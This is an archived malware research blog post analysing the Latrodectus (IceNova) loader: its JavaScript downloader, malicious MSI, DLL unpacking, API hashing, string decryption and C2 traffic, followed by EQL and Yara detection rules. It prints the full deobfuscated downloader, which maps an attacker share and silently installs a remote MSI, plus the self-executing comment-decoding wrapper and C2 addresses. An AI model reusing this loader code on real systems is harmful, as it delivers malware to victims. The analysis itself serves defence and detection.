Latrodectus [IceNova] – Technical Analysis of the… New IcedID… Its Continuation… Or its Replacement? - 0x0d4y Malware Research By 0x0d4y Published: 2024-04-30 · Archived: 2026-04-02 10:49:38 UTC My first public malware research was for a strain of IcedID. A few months later, in my nighttime activities, I was working on technical analysis research for Sodinokibi (REvil), a Ransomware that is no longer seen, however, is part of the evolutionary history of the business model that we now know as RaaS. But, I saw that a friend had posted an IcedID sample that didn’t match the Yara detection that I had created in my first research. Innocently, I decided to just check out the ‘why‘. And this ‘just checking‘, generated a new public malware research for another strain of IcedID, a lightweight x64 DLL. So, guess what… I decided to return to producing my public research regarding Sodinokibi… and guess what?? Yes, I read about a family that may have strong links with the developers of IcedID… Latrodectus!! I’m starting to think God might be signaling me not to do Sodinokibi’s public malware research. But I’ll keep trying! Well, at the time I started this research (and until now), there was very little technical analysis material about this family of Malware. Below we can see the very little content regarding this family on Malpedia, which is also being called IceNova. https://0x0d4y.blog/latrodectus-technical-analysis-of-the-new-icedid/ Page 1 of 34 It is also possible to observe the few samples present in MalwareBazaar. https://0x0d4y.blog/latrodectus-technical-analysis-of-the-new-icedid/ Page 2 of 34 Context of the Latrodectus Threat Latrodectus, also known as IceNova Backdoor (by IBM), is a family of malware that has been observed lately in campaigns linked to groups such as Trickbot (WIZARD SPIDER) and Conti (and potentially, in Ransomware deliveries), in addition to being attributed to developers from IcedID. Therefore, Latrodectus has been highlighted as a potential threat and is used as a Loader for other malware. To date, Latrodectus has been identified as having the following infection flow. https://0x0d4y.blog/latrodectus-technical-analysis-of-the-new-icedid/ Page 3 of 34 And in this research, we will analyze each phase observed in the infection flow above. Technical Analysis – Static and Dynamic In this section, I will describe my reverse engineering analysis of each script and binary that makes up the Latrodectus infection flow. During this review, I will use the samples below. fad25892e5179a346cdbdbba1e40f53bd6366806d32b57fa4d7946ebe9ae8621 1st_stage 65da6d9f781ff5fc2865b8850cfa64993b36f00151387fdce25859781c1eb711 2nd_stage.bin b9dbe9649c761b0eee38419ac39dcd7e90486ee34cd0eb56adde6b2f645f2960 slack.msi 1st Stage – JS Downloader The first malicious artifact that is delivered and that carries out the first stage of infection is a JavaScript script. Below, we can see that it is obfuscated, containing many lines of commented garbage code mixed in with the real payload. Therefore, the first task to be done is to deobfuscate this script. It’s relatively simple, the payload contains a lot of commented garbage along with parts of the real payload, in addition to part of the real payload being uncommented. So be careful, if you are going to deobfuscate, do not just delete all the commented lines, because part of the real payload is commented. After deobfuscating all the code, the script will look like below. https://0x0d4y.blog/latrodectus-technical-analysis-of-the-new-icedid/ Page 4 of 34 ////var network = new ActiveXObject("WScript.Network"); ////var attempt = 0; ////var connected = false; ////var driveLetter, letter; //// ////function isDriveMapped(letter) { //// var drives = network.EnumNetworkDrives(); //// for (var i = 0; i < drives.length; i += 2) { //// if (drives.Item(i) === letter) { //// return true; //// } //// } //// return false; ////} //// ////for (driveLetter = 90; driveLetter >= 65 && !connected; driveLetter--) { //// letter = String.fromCharCode(driveLetter) + ":"; //// if (!isDriveMapped(letter)) { //// try { //// network.MapNetworkDrive(letter, "\\\\wireoneinternet.info@80\\share\\"); //// connected = true; //// break; //// } catch (e) { //// attempt++; //// } //// } ////} //// ////if (!connected && attempt > 5) { //// var command = 'net use ' + letter + ' \\\\wireoneinternet.info@80\\share\\ /persistent:no'; //// wmi.Get("Win32_Process").Create(command, null, null, null); //// //// var startTime = new Date(); //// while (new Date() - startTime < 3000) {} //// //// connected = isDriveMapped(letter); ////} //// ////if (connected) { //// var installCommand = 'msiexec.exe /i \\\\wireoneinternet.info@80\\share\\slack.msi /qn'; //// wmi.Get("Win32_Process").Create(installCommand, null, null, null); //// //// try { //// network.RemoveNetworkDrive(letter, true, true); //// } catch (e) { //// https://0x0d4y.blog/latrodectus-technical-analysis-of-the-new-icedid/ Page 5 of 34 //// } ////} else { //// WScript.Echo("Failed."); ////} var a = (function() { var b = new ActiveXObject("Scripting.FileSystemObject"), c = WScript.ScriptFullName, d = ""; function e() { if (!b.FileExists(c)) return; var f = b.OpenTextFile(c, 1); while (!f.AtEndOfStream) { var g = f.ReadLine(); if (g.slice(0, 4) === "////") d += g.substr(4) + "\n"; } f.Close(); } function h() { if (d !== "") { var i = new Function(d); i(); } } return { j: function() { try { e(); h(); } catch (k) {} } }; })(); a.j(); // SIG // Begin signature block // SIG // MIIpaQYJKoZIhvcNAQcCoIIpWjCCKVYCAQExDzANBglg // SIG // End signature block As we can see in the clean payload above, the main uncommented code has the task of removing the ”////“. This will uncomment the rest of the payload, which will ultimately be executed. https://0x0d4y.blog/latrodectus-technical-analysis-of-the-new-icedid/ Page 6 of 34 As you can see in the code below, in general, the script will use the MapNetworkDrive method to map the external resource wireoneinternet[.]info@80\\share\\ as a shared directory on the network. The wireoneinternet[.]info address is part of the adversary’s infrastructure that makes the Latrodectus Loader available. https://0x0d4y.blog/latrodectus-technical-analysis-of-the-new-icedid/ Page 7 of 34 After mapping the C2 address as a share, the script will use the ‘net.exe‘ utility to connect to the ‘remote share‘. And finally, the script will download (implicit action) and install an MSI called slack.msi, through msiexec.exe, which is the Latrodectus Loader. After that, the MSI will be executed and we will move on to the next section, where we will analyze the MSI sample. https://0x0d4y.blog/latrodectus-technical-analysis-of-the-new-icedid/ Page 8 of 34 Malicious MSI Stage Static Analysis – Malicious MSI The malicious artifact that is collected through the JS script, is an MSI artifact, so the analysis method differs from a PE artifact. For this analysis, I used Orca to identify the configurations of the malicious MSI package. When we open the slack.msi artifact, we can see that in the CustomAction properties, the execution of a DLL through rundll32 is configured, which will be executed through a binary called viewer. Below we can see that this DLL will be present in the digistamp directory (in the AppData folder), and the function to be executed as an argument is called homi. Through Orca, it is also possible to validate the presence of the DLL that will be executed during the execution of this MSI package. Now that we know what will be executed, let’s run this MSI package in a monitored laboratory, and let’s check the actions that will be performed. Malicious MSI Stage Dynamic Analysis – Malicious MSI When running MSI in a monitored laboratory, you can observe the sequence of actions that are performed. The first action is the creation on disk of the DLL observed through Orca, mbae-api-na.dll in the local AppData directory. https://0x0d4y.blog/latrodectus-technical-analysis-of-the-new-icedid/ Page 9 of 34 After that, the viewer binary executes rundll32 which will execute the homi function of the mbae-api-na.dll DLL. https://0x0d4y.blog/latrodectus-technical-analysis-of-the-new-icedid/ Page 10 of 34 After that, the DLL mbae-api-.dll is loaded through rundll32. In the log below (Sysmon Event ID 7), we are able to identify some static information that the developers put in the DLL, to try to circumvent the static analysis. Malwarebytes Anti-Exploit?? Serious? https://0x0d4y.blog/latrodectus-technical-analysis-of-the-new-icedid/ Page 11 of 34 Strangely, after loading the DLL, the same process that loaded the DLL named mbae-api-na.dll (PID 2808), also loaded the same DLL now named Update_4140f889.dll, taking as argument the same name as the homi function . And finally, the DLL Update_4140f889.dll is loaded, and contains the same static information, as we can see below. https://0x0d4y.blog/latrodectus-technical-analysis-of-the-new-icedid/ Page 12 of 34 From this point, we can obtain the DLL that will load the real Latrodectus payload, which we will analyze in the next section. Latrodectus Loader Dynamic Analysis This DLL (Update_4140f889.dll) is basically the Loader for the real Lactrodectus payload, which is publicly available through MalwareBazaar. To obtain this payload, we need to use a debugger to analyze the Loader’s execution. Through x64dbg, I updated the command line run by the MSI package, and began my analysis. Below is the complete command line that I used to debug the execution of the DLL through rundll32. "C:\Windows\System32\rundll32.exe" "C:\Users\Administrator\AppData\Roaming\Custom_update\Update_4140f889.dll", In order to identify the allocation of the true payload, I set two breakpoints in the following APIs: VirtualAlloc VirtualProtect https://0x0d4y.blog/latrodectus-technical-analysis-of-the-new-icedid/ Page 13 of 34 Only with these breakpoints, we are able to identify the process of allocating and writing the real Lactrodectus payload into memory. Below, we can see the allocation of the Lactodectus DLL in memory. It is interesting to note that the process of allocating and writing data to memory is done in parts. Loader loads a large block of data, and gradually writes the data into each space. After that, just save the DLL to disk using x64dbg Dump. After doing the dump, if we play the DLL extracted from memory in Detect It Easy, specifically in the Extraction section, we will observe that this sample contains another PE artifact within itself… yes… I felt like I was in Inception. https://0x0d4y.blog/latrodectus-technical-analysis-of-the-new-icedid/ Page 14 of 34 In the next section, we will reverse engineer this DLL. Latrodectus 2nd Stage Reverse Engineering As we saw at the end of the previous section, the Latrodectus main DLL extracted from memory contained a PE file in the .data section, identified using Detect It Easy. We can see the use of this PE file, exactly in the initial function of the DLL extracted from memory, being passed as an argument to the sub_180002650 function. When looking at the data blob reference data_180004000, in addition to being easy to identify a PE artifact (through the DOS header), it is also possible to observe that the third argument is the total size of this integrated binary. https://0x0d4y.blog/latrodectus-technical-analysis-of-the-new-icedid/ Page 15 of 34 Therefore, it is understandable that we can assume that this main DLL just injects this other PE artifact into memory, and executes it. To validate this assumption, we just need to analyze the function sub_180002650 (which I named ), which is a wrapper for the function that checks whether the embedded PE contains the headers referring to a PE executable. https://0x0d4y.blog/latrodectus-technical-analysis-of-the-new-icedid/ Page 16 of 34 In this same function, the code allocates memory the size of the embedded PE. Now let’s move on to analyzing the embedded PE that is allocated and executed in memory. Latrodectus Main DLL Reverse Engineering Now we can finally analyze the real Latrodectus!! Below, we can observe some static information from Latrodectus, we can identify that this DLL exports four functions, they are: extra follower run scub Furthermore, it is also possible to observe that this DLL imports few standard APIs, which indicates that it is possible that it implements some technique to rebuild its import table at run time. Import Table Reconstruct Through API Hashing Right at the beginning of the main function, Latrodectus has a function that I named iat_reconstruct_api_hashing. This function allows Latrodectus to execute functions that will reconstruct its import table through the API Hashing technique, specifically using the crc32 hash. As an example, below is one of the functions that contains crc32 hashes to be resolved at run time. https://0x0d4y.blog/latrodectus-technical-analysis-of-the-new-icedid/ Page 17 of 34 And below follows the same function, with the crc32 hashes resolved statically using the HashDB plugin, developed by cxiao. https://0x0d4y.blog/latrodectus-technical-analysis-of-the-new-icedid/ Page 18 of 34 This way it is possible to rename the variable names and identify cross-references throughout the code. Without performing this activity, it becomes impossible to statically analyze this sample. Decrypting Strings Latrodectus also implements a custom string decryption algorithm, which decrypts strings at runtime, with the aim of further obfuscating your code. Below, we can observe the algorithm in Decompiler and Disassembler. Below, we can observe the execution of this algorithm on x64dbg, where the string of one of the Latrodectus C2 addresses was decrypted. https://0x0d4y.blog/latrodectus-technical-analysis-of-the-new-icedid/ Page 19 of 34 To automate the extraction, I set x64dbg to record logs whenever my breakpoint was triggered, collecting the ASCII value in the RDX register (where the decrypted values are stored). Below are all the strings that this algorithm decrypts during the execution of this Latrodectus sample. Some of these strings are called multiple times during the code, which increases the recurrence of the function that decrypts the strings. Decrypt string: L"\\*.dll" Decrypt string: L"runnung" Decrypt string: "%04X%04X%04X%04X%08X%04X" Decrypt string: "Littlehw" Decrypt string: L".exe" Decrypt string: "https://titnovacrion.top/live/" Decrypt string: "https://skinnyjeanso.com/live/" Decrypt string: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdef Decrypt string: L"Update_%x" Decrypt string: L"Update_%x" Decrypt string: L"AppData" Decrypt string: L"Desktop" Decrypt string: L"Startup" https://0x0d4y.blog/latrodectus-technical-analysis-of-the-new-icedid/ Page 20 of 34 Decrypt string: L"Personal" Decrypt string: L"Local AppData" Decrypt string: L"Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders" Decrypt string: L"Custom_update" Decrypt string: L"\\update_data.dat" Decrypt string: L"rundll32.exe" Decrypt string: L"\"%s\", %s %s" Decrypt string: L"LogonTrigger" Decrypt string: L"PT0S" Mutex Created by Latrodectus One of the strings decrypted during the execution of the decryption algorithm is the string that Latrodectus will use as a Mutex. Below we can see this action on Disassembler, when the encrypted string is decrypted and it’s passes as a argument to CreateMutexW API. With this Mutex created, Latrodectus can identify whether it has already infected the device on which it was run. Local Enumeration Latrodectus collects a series of local information, such as the device name (GetComputerNameExA), user name (GetUserNameA), information regarding the network adapter (GetAdaptersInfo). Below, we can see the collection of the current user’s name, through the execution of the GetUserNameA API. https://0x0d4y.blog/latrodectus-technical-analysis-of-the-new-icedid/ Page 21 of 34 Delete and Create Another Process of Yourself During its execution, Latrodectus creates a new file in the C:\Users\AppData\Roaming\Custom_update directory, called Update_.dll, and deletes the payload from the current path. Here we see some decrypted strings being used, such as Custom_update, Update_%x and AppData. After creating the file, Latrodectus creates a new rundll32 process to execute the same scub function as the newly created DLL (it is the same payload) in the C:\Users\\AppData\Roaming\Custom_update directory. Below, we can see the creation of the new process through the CreateProcessW API. I opened the two DLLs in PEStudio (the DLL that is previously analyzed and extracted, and the DLL dropped in AppData) and as we can see below, it is the same binary. https://0x0d4y.blog/latrodectus-technical-analysis-of-the-new-icedid/ Page 22 of 34 And after the process runs, a new rundll32 process is created. After creating this new process, Latrodectus reexecutes the import table construction process through API Hashing, checks whether the Mutex already exists as well as the Update_.dll file, and jumps directly to the communication routine. C2 Routine The communication routine with C2 is simple, using APIs such as InternetConnectA and HttpSendRequestA and others as well, to set up and close the connection, but these two are the ones that give us the most important information. Below we can see Latrodectus using the decrypted strings to set up its connection with the C2 titnovacrion[.]top with the InternetConnectA API. https://0x0d4y.blog/latrodectus-technical-analysis-of-the-new-icedid/ Page 23 of 34 Next, Latrodectus assembles your HTTP request and sends it with the HttpSendRequestA API. With this API, we can observe the Base64 content sent (via the POST method) to C2. If the connection cannot be established in the way Latrodectus expects, it will perform the same procedures with the second C2 skinnyjeanso[.]com. Below, we can see the same sequence. https://0x0d4y.blog/latrodectus-technical-analysis-of-the-new-icedid/ Page 24 of 34 As you can see in the screenshots, the base64 content remains the same for sending both C2 addresses. Threat Hunting Perspective From this section onwards, we will focus on the process of detecting the behavior produced by this Latrodectus sample. Let’s go. How to Detect the Latrodectus Execution Flow, Through SIEM? Going back to the beginning, it is important to know that everything will start either with a JS script or with an infected PDF. This 1st Stage will download an MSI and run it. When executed, a process will be created for a temporary file within the C:\Windows\Installer\MSI.tmp directory, which will then drop and execute the Latrodectus DLL Loader. https://0x0d4y.blog/latrodectus-technical-analysis-of-the-new-icedid/ Page 25 of 34 When executed, a process for rundll32 will be created, with the default (so far) being the function to be called identified as ‘homi‘ in the DLL Loader. https://0x0d4y.blog/latrodectus-technical-analysis-of-the-new-icedid/ Page 26 of 34 The DLL Loader will inject the final Latrodectus DLL into memory and drop it into the AppData directory. When executing it, it will call one of the two functions that have the same functionality, ‘homi‘ and ‘scub‘. Below is a sequence of the execution of both. This sequence of process creation can be detected by Sysmon Event ID 1. https://0x0d4y.blog/latrodectus-technical-analysis-of-the-new-icedid/ Page 27 of 34 https://0x0d4y.blog/latrodectus-technical-analysis-of-the-new-icedid/ Page 28 of 34 After these executions, there will be several attempts to connect to the Latrodectus C2 addresses through rundll32 process. This can be detected by Sysmon Event ID 22. https://0x0d4y.blog/latrodectus-technical-analysis-of-the-new-icedid/ Page 29 of 34 Detection Engineering Now that we know the execution flow and how to detect the behavior produced by Latrodectus, through Sysmon, we will create detection rules for SIEM, with the aim of monitoring such behavior. EQL Detection Rule Below is an EQL rule that I produced with the aim of detecting the execution flow of the Latrodectus malicious MSI, until the execution of the malicious DLL that will call one of the ‘scub‘ or ‘homi‘ functions, followed by the loading of this DLL. This entire behavior is executing within a minute, so our detection rule monitors this sequence of events within 1 minute. sequence by host.name with maxspan=60s [any where (event.code : "1" or event.code: "4688") and process.name : "MSI*.tmp" and process.command_line : [any where (event.code : "1" or event.code: "4688") and process.name : "rundll32.exe" and (process.command_l [any where event.code : "7"] Also create a separate rule that detects network connection attempts through rundll32.exe, which in itself deserves a monitoring rule. The rule is very simple, having only one of the Event IDs 3 (effective network connection) or 22 (name resolution attempt, in case the C2 is no longer responding, or the infected device does not have internet access). (event.code : "3" or event.code : "22") and process.name : "rundll32.exe" EQL Detection Rule – Validation In order to validate the execution flow, below is the validation of the functioning of the rules, detecting everything from the Latrodectus execution flow to multiple connection attempts with the C2 addresses. https://0x0d4y.blog/latrodectus-technical-analysis-of-the-new-icedid/ Page 30 of 34 In more detail, we can look at the destination addresses of connection attempts by the rundll32.exe process. Yara Detection Rules In order to detect and monitor the evolution of the Latrodectus code, I created a Yara rule to detect binaries that have the same code pattern as the Latrodectus string decryption algorithm. Below is the Yara rule. rule latrodectus_dll { meta: https://0x0d4y.blog/latrodectus-technical-analysis-of-the-new-icedid/ Page 31 of 34 author = "0x0d4y" description = "This rule detects the Latrodectus DLL Decrypt String Algorithm." date = "2024-05-01" score = 100 reference = "https://0x0d4y.blog/latrodectus-technical-analysis-of-the-new-icedid/" yarahub_reference_md5 = "277c879bba623c8829090015437e002b" yarahub_uuid = "9da6bcb5-382c-4c64-97c4-97d15db45cad" yarahub_license = "CC BY 4.0" yarahub_rule_matching_tlp = "TLP:WHITE" yarahub_rule_sharing_tlp = "TLP:WHITE" malpedia_family = "win.unidentified_111" strings: $str_decrypt = { 48 89 54 24 10 48 89 4c 24 08 48 83 ec ?? 33 c9 e8 ?? ?? ?? ?? 48 8b 44 24 40 8b 00 89 44 2 condition: uint16(0) == 0x5a4d and $str_decrypt } Yara Detection Rules – Validation With the aim of validating the Yara rule developed, I submitted it to Unpac.me where was matched 12 samples classified as Latrodectus (win_unidentified_111_auto is the description of the family by Malpedia). We can observe the matches through the sequence of images below. https://0x0d4y.blog/latrodectus-technical-analysis-of-the-new-icedid/ Page 32 of 34 https://0x0d4y.blog/latrodectus-technical-analysis-of-the-new-icedid/ Page 33 of 34 Conclusion Well, I hope you enjoyed and learned something interesting from this article. I hope I can complete my research regarding Sodinokibi now!! Until next time, if you have any questions or feedback, feel free to contact me. Source: https://0x0d4y.blog/latrodectus-technical-analysis-of-the-new-icedid/ https://0x0d4y.blog/latrodectus-technical-analysis-of-the-new-icedid/ Page 34 of 34